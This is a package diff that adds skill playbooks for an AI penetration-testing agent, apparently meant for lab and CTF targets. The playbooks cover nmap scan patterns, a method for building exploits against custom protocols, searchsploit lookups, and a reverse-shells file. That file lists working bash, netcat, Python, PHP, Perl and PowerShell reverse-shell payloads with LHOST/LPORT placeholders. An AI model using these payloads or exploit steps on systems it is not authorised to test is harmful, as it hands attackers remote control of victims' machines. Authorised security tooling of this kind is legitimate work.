farai 0.1.0

package/src/agent-skills/library/nmap/SKILL.md

@@ -0,0 +1,30 @@
+---
+name: nmap
+description: Nmap CLI syntax, safe two-pass scan patterns, and failure recovery (filtered ports, timeouts) for the nmap_scan tool. Use this whenever the user asks to port-scan, enumerate services, or check what's open on a target, even before they mention nmap by name.
+---
+
+# Nmap Playbook
+
+Canonical syntax: `nmap [Scan Type(s)] [Options] {target specification}`
+
+High-signal flags:
+- `-n` skip DNS resolution
+- `-Pn` skip host discovery when ICMP/ping is filtered (common in lab/VPN targets)
+- `-sS` SYN scan (needs privilege); `-sT` TCP connect scan (no raw-socket privilege needed)
+- `-sV` service/version detection; `-sC` default NSE scripts
+- `-p <ports>` explicit ports, `-p-` for all 65535 (slow — avoid unless required)
+- `--top-ports <n>` quick common-port sweep
+- `--open` show only hosts/ports that are open
+- `-T4` reasonable speed for lab targets
+- `--max-retries 1 --host-timeout 90s` bound worst-case runtime
+
+## Two-pass workflow (preferred over one giant scan)
+1. Fast discovery pass: `nmap -n -Pn --top-ports 100 --open -T4 --max-retries 1 --host-timeout 90s <target>`
+2. Enrichment pass on discovered ports only: `nmap -n -Pn -sV -sC -p <comma_ports> --script-timeout 30s --host-timeout 3m <target>`
+
+## Failure recovery
+- Host looks down unexpectedly → add `-Pn` (many lab/CTF targets block ICMP).
+- Scan stalls or times out → tighten `-p`/`--top-ports` and lower `--max-retries`.
+- A "filtered" result that you expect to be open may be transient (target-side rate limiting from
+  prior scan/exploit traffic, or a momentary VPN blip) — a single retry a few seconds later is
+  reasonable before concluding the port is genuinely filtered.

package/src/agent-skills/library/payload-protocol-crafting/SKILL.md

@@ -0,0 +1,26 @@
+---
+name: payload-protocol-crafting
+description: Bottom-up methodology for crafting exploits against custom, legacy, or undocumented network protocols (read the spec, build a minimal reproducer, add the injection point last). Use this whenever the target speaks something other than plain HTTP -- a custom TCP protocol, a legacy service like LPD, or any case involving raw sockets, handshakes, or command injection into a non-HTTP protocol.
+---
+
+# Crafting Exploits Against Custom/Legacy Protocols
+
+When a target service speaks something other than plain HTTP (a legacy or custom TCP protocol,
+e.g. LPD, a proprietary binary protocol, etc.), trial-and-error against the full exploit is slow
+and confusing. Work bottom-up instead:
+
+1. **Read the spec first.** Look up the RFC or protocol documentation (`http_request`/web search)
+   before writing any code — legacy protocols usually have a short, precise spec (e.g. RFC 1179
+   for LPD) that tells you the exact byte sequence/framing expected, far faster than guessing.
+2. **Build the smallest possible reproducer.** Write a minimal script that performs just the
+   protocol handshake/framing and confirms the target responds as expected — no injected payload
+   yet. Validate this piece works byte-for-byte before adding anything else.
+3. **Add the injection point once framing is confirmed.** Only after step 2 works reliably,
+   insert the actual command-injection/shell payload into the appropriate protocol field.
+4. **Iterate on the smallest unit that failed**, not the whole exploit. If step 3 doesn't work,
+   go back to isolating exactly which part is wrong (framing vs. payload vs. escaping) rather than
+   rewriting the entire script and re-running end-to-end each time — that's what turns a
+   straightforward exploit into many confused iterations.
+5. **Prefer `shell_exec` for the throwaway reproducer scripts** (fast iteration, inspect raw
+   output immediately) and only wrap the validated logic into a saved script via
+   `code_write_script` once it's confirmed working.

package/src/agent-skills/library/reverse-shells/SKILL.md

@@ -0,0 +1,55 @@
+---
+name: reverse-shells
+description: Payload variants and delivery gotchas for reverse/bind shells (bash, netcat, python, PHP, perl, PowerShell), TTY upgrade after landing a shell, and how to avoid false-positive auto-backgrounding when writing exploit scripts via heredoc. Use this whenever the user asks to get a shell on a target, mentions callback_listen, reverse shell, revshell, bind shell, netcat, or payload delivery -- even if they don't say the word "skill."
+---
+
+# Reverse Shells
+
+## Getting LHOST/LPORT right
+Always call `callback_host_info` first to get the real host-reachable LHOST (VPN/tun interface),
+then `callback_listen(port=...)`. Never infer LHOST by guessing from inside the Kali container —
+the container has its own network namespace and cannot see the host's VPN interfaces.
+
+## Payload variants (pick based on what's available on target)
+- Bash (most common, no extra binary needed): `bash -i >& /dev/tcp/LHOST/LPORT 0>&1`
+- Bash without `/dev/tcp` (restricted shells): `0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196`
+- Netcat with `-e` (if target nc supports it): `nc -e /bin/sh LHOST LPORT`
+- Netcat without `-e` (mkfifo trick): `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT > /tmp/f`
+- Python3: `python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'`
+- PHP: `php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'`
+- Perl: `perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`
+- PowerShell (Windows targets): `powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"`
+
+## Delivering the payload without triggering false-positive auto-backgrounding
+If you write a script to disk via a heredoc (`cat << 'EOF' > file.py`) and the payload text
+inside the heredoc body contains phrases like `bash -i` or `/dev/tcp/`, that is literal text
+being written to a file — it is NOT itself launching an interactive session, so it should not
+be treated as one. Only the actual invocation line that *executes* the file afterward
+(e.g. `python3 file.py`) is the real interactive/background command.
+
+## TTY upgrade after landing a shell
+A raw netcat/bash reverse shell has no real TTY — no job control, no tab completion, ctrl-C kills
+the whole shell. Upgrade with:
+```
+python3 -c 'import pty; pty.spawn("/bin/bash")'
+```
+then background it (Ctrl-Z), on your side run `stty raw -echo; fg`, then in the shell:
+```
+export TERM=xterm
+stty rows <rows> columns <columns>
+```
+
+## Reading session_poll output correctly
+Sessions of kind `reverse_shell`/`shell` carry a hint line prepended to `output` indicating
+whether a shell prompt was detected (ready for the next command) or not. If no prompt is
+detected yet, wait and poll again rather than sending another command blind — commands sent
+before the target shell is ready can get silently interleaved with the previous command's
+output and produce confusing, doubled results.
+
+## When to use callback_listen vs shell_exec background
+- `callback_listen` is for catching an *inbound* connection from the target (classic reverse shell)
+  — it opens a real listener on the host's network, which is why it is the one tool that still
+  requires approval.
+- `shell_exec` with an interactive command (auto-backgrounded, kind `shell`) is for driving an
+  *outbound* interactive process yourself inside the container (e.g. `ssh`, `mysql`, `python3` REPL) —
+  no listener involved, runs fully inside the sandbox.

package/src/agent-skills/library/searchsploit/SKILL.md

@@ -0,0 +1,18 @@
+---
+name: searchsploit
+description: How to search for and validate public exploits with the exploit_search tool (searchsploit-backed) before running them against a target. Use this whenever the user asks to find a known/public exploit, mentions a CVE, exploit-db, or a specific vulnerable service version.
+---
+
+# Exploit Search Playbook (exploit_search / searchsploit)
+
+- Search by exact product + version string first (e.g. `"vsftpd 2.3.4"`), then broaden if no hit
+  (drop the version, then drop to just the product name).
+- A search hit is a *candidate*, not a confirmed working exploit — always read the exploit source
+  (via `fs_read` on the path searchsploit reports, or `searchsploit -x <id>`) before running it,
+  to understand exactly what it does and whether it matches the target's actual configuration.
+- Prefer the smallest, most targeted PoC over a fully-weaponized Metasploit module when you just
+  need to confirm a vulnerability exists — easier to reason about and adapt if it doesn't work
+  out of the box.
+- If no local exploit-db entry matches, fall back to `http_request`/web lookup for the CVE/product
+  name — public writeups often show the exact working payload for CTF-style intentionally
+  vulnerable services (which are frequently older/unpatched versions on purpose).